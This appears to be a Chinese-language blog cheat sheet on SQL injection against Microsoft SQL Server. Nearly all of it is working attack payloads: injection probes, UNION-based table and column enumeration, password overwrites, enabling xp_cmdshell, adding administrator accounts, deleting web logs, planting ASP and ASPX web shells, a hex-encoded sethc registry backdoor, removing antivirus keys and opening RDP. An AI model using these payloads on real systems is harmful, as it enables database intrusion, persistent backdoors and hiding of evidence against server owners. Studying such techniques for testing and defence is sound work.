title: SQL注入- Sqlserver
tags: SQL注入
abbrlink: e1f1921e

date: 2022-07-29 11:03:39

Sqlserver 介绍

美国Microsoft公司推出的一种关系型数据库系统。SQLServer是一个可扩展的、高性能的、为分布式客户机/服务器计算所设计的数据库管理系统,实现了与WindowsNT的有机结合,提供了基于事务的企业级信息管理系统方案。
其主要特点如下:
(1)高性能设计,可充分利用WindowsNT的优势
(2)系统管理先进,支持Windows图形化管理工具,支持本地和远程的系统管理和配置。
(3)强壮的事务处理功能,采用各种方法保证数据的完整性。
(4)支持对称多处理器结构、存储过程、ODBC,并具有自主的SQL语言。 SQLServer以其内置的数据复制功能、强大的管理工具、与Internet的紧密集成和开放的系统结构为广大的用户、开发人员和系统集成商提供了一个出众的数据库平台。

常用语句

  1. 说明:创建数据库
    CREATE DATABASE database-name 
    
  2. 说明:删除数据库
    drop database dbname
    
  3. 查询所有:
    Select * from 表名
    select * from Student
    

mssql数据库权限

  • sa权限:数据库操作,文件管理,命令执行,注册表读取等 system
  • db权限:文件管理,数据库操作等 users-adminstrators
  • public权限:数据库操作 guest-users

调用数据库代码

<%
 set conn =server.createobject("adodb.connection") 
 conn.open  
 "provider=sqloledb;source=local;uid=sa;pwd=123123;database=database-name"
%>

其中,provider后面的不用管,照写;source后面的可以是ip地址,这里我用的是本地的;sa是内置的
用户,它的密码是你在安装的时候设置的;database后面是你要连接的数据库的名称,例:mydatabase
(不需扩展名)。

SqlServer注入利用

漏洞挖掘

  • 漏洞出现的位置

  • 手工挖掘:

  • 有参数传递
    有数据库交互
    我们可以控制

  • 工具扫描
    Awvs、burp、appscan

    判断语句

  • 判断是否有注入

    and 1=1 
    and 1=2 
    /
    -0
    

    判断注入的方法是一样的

  • 初步判断是否是mssql

    and user>0 
    
  • 判断数据库系统

    and (select count(*) from sysobjects)>0 mssql 
    and (select count(*) from msysobjects)>0 access 
    
  • 注入参数是字符

    'and [查询条件] and ''=' 
    
  • 搜索时没过滤参数的

    'and [查询条件] and '%25'=' 
    
  • 猜数表名

    and (select Count(*) from [表名])>0 
    
  • 猜字段

    and (select Count(字段名) from 表名)>0 
    
  • 猜字段中记录长度

    and (select top 1 len(字段名) from 表名)>0 
    
  • (1)猜字段的ascii值(access)

    and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 
    

    (2)猜字段的ascii值(mssql)

    and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 
    

union 联合查询

顺便查下版本和数据库名

union select null,@@version,db_name(),null,null

如果要查其他数据库的表名还可以这样:

union select  null,(select top 1 name from [dbname]..sysobjects where xtype='u' and name not in(select top 0 name from [dbname]..sysobjects where xtype='u')),null,null

union 列表名

  • 继续猜字段名(从0开始增加第二个top N的数字就可以遍历admin表的字段名了)
  • 第一个表名
    http://192.168.0.240:8005/?id=1   union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 0 name from syscolumns where id in (select id from sysobjects where name='password'))),null
    
  • 第二个表名
    http://192.168.0.240:8005/?id=1   union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 1 name from syscolumns where id in (select id from sysobjects where name='password'))),null
    

union 列列名

  • 继续猜字段名(从0开始增加第二个top N的数字就可以遍历admin表的字段名了)
  • 第一个列名
    http://192.168.0.240:8005/?id=1   union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 0 name from syscolumns where id in (select id from sysobjects where name='password'))),null
    
  • 第二个列名
    http://192.168.0.240:8005/?id=1   union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 1 name from syscolumns where id in (select id from sysobjects where name='password'))),null
    
  • 第三个列名
    http://192.168.0.240:8005/?id=1   union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 2 name from syscolumns where id in (select id from sysobjects where name='password'))),null
    

列数据

http://192.168.0.240:8005/?id=1   union select null,username,password  from password where username not in (select top 0 username from password)

SqlServer不同权限利用

  • 用户所处权限分析:
    sa权限
    dbo
    public
    

    权限判断语句

and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员 
and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限 
and 1=(select is_srvrolemember('public'))   //判断是否为public权限
and 1=convert(int,db_name())或1=(select db_name())  //当前数据库名 
and 1=(select @@servername)  //本地服务名 
and 1=(select HAS_DBACCESS('master'))  //判断是否有库读取权限

Sa权限的利用

  • 注入用户密码
  • 修改网站管理员密码
  • 直接getshell
  • 调用系统命令

    创建系统管理员
    操控文件
    操控日志文件
    getshell

  • 创建sqlserver管理
  • 系统服务操作
  • 注册表操作

    创建后门
    开启3389

SQLserver中的存储过程

sp_addlogin  创建新的SQL server登录,该登录运行用户使用SQL server身份验证连接到SQL server实例

sp_dropuser  从当前数据库中删除数据库用户

xp_enumgroups提供Microsoft Windows本地组列表或在指定的Windows域中定义的全局组列表

xp_regwrite未被公布的存储过程,,写入注册表

xp_regread读取注册表

xp_regdeletevalue删除注册表

xp_dirtree读取目录

sp_password更改密码

xp_servicecontrol停止或激活某服务

修改网站管理员密码

;update admin set pass=‘e8dc763194f29433’ where admin=‘test’

将管理员表admin中admin用户的密码设置为e8dc763194f29433

修改之前把原来密码备份
通常在密码解不出的情况下选择使用该方法

直接getshell

修复上传

;EXEC sp_configure 'show advanced options',1; 
RECONFIGURE;
;exec sp_configure 'Web Assistant Procedures', 1; 
RECONFIGURE
http://mssql.sql.com/aspx.aspx?id=1%20;exec%20sp_makewebtask%20%20%27C:\Inetpub\wwwroot\8005\x1.asp%27,%27select%27%27<%execute(request("cmd"))%>%27%27%27--

调用系统命令xp_cmdshell

检测与恢复扩展存储

判断xp_cmdshell扩展存储是否存在

and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell')

判断xp_regread扩展存储过程是否存在

and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')

恢复

;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 
;exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'

Xp_cmdshell执行命令

新建用户

;exec master..xp_cmdshell 'net user test test /add'
;exec master..xp_cmdshell 'net localgroup administrators test /add'

操控日志

;exec master.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex070606.log '

Getshell

echo ^<%Execute(request("a"))%^> > d:\www\123.asp
;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\233.aspx' ;--

操作注册表
删除注册表

reg delete HKLM\SOFTWARE\McAfee /f

导入注册表

Regedit /s d:\web\zh\hp.reg

导出注册表

regedit /e d:\web\zhao\aaa.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp"

创建sqlserver管理

  • 添加和删除一个SA权限的用户test:(需要SA权限)
    exec master.dbo.sp_addlogin test,password
    exec master.dbo.sp_addsrvrolemember test,sysadmin
    

    系统服务操作

  • 停掉或激活某个服务。 (需要SA权限)
    exec master..xp_servicecontrol 'stop','schedule'
    exec master..xp_servicecontrol 'start','schedule'
    

注册表操作

  • 启用存储过程
    exec sp_addextendedproc xp_regread,'xpstar.dll'
    
    ;exec master.dbo.sp_addextendedproc0x780070005f007200650067007200650061006400,0x7800700073007400610072002e0064006c006c00—
    
    exec sp_addextendedproc xp_regwrite,'xpstar.dll' 
    

    写入注册表

    exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_SZ','c:\windows\system32\cmd.exe' 
    

xp_regwrite 根键,子键, 值名, 值类型, 值

* 写入shift后门

exec xp_regwrite

0x484b45595f4c4f43414c5f4d414348494e45,0x534f4654574152455c4d6963726f736f66745c57696e646f7773204e545c43757272656e7456657273696f6e5c496d6167652046696c6520457865637574696f6e204f7074696f6e735c73657468632e657865,0x6465627567676572,0x5245475f535a,'c:\windows\system32\taskmgr.exe'–

## 开启3389

;exec master..xp_cmdshell 'sc config termservice start=auto'
;exec master..xp_cmdshell 'net start termservice'
;exec master..xp_cmdshell 'reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0x0 /f'
//允许外部连接
;exec master..xp_cmdshell 'reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp” /v PortNumber /t REG_DWORD /d 0x50 /f' //改端口到80
开启3389
;exec master..xp_cmdshell “wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1”–

## dbowner权限利用

1. 判断数据库用户权限 

and 1=(select is_member('db_owner'));–

2. 搜索web目录 

;create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));–

然后 

;insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1–

由于不能一次性获取所有目录文件和文件夹名,因此需要更改ID的值,依次列出文件和文件夹

and(select dir from temp where id=1)>0

## getshell

* 找到web目录后,就可以写入一句话木马了 

;alter database ssdown5 set RECOVERY FULL
;create table test(str image)–
;backup log ssdown5 to disk='c:\test' with init–
;insert into test(str)values ('<%excute(request("cmd"))%>')–
;backup log ssdown5 to disk='c:\inetpub\wwwroot\x.asp'–
;alter database ssdown5 set RECOVERY simple

# SqlServer 工具使用

穿山甲、萝卜头、sqlmap等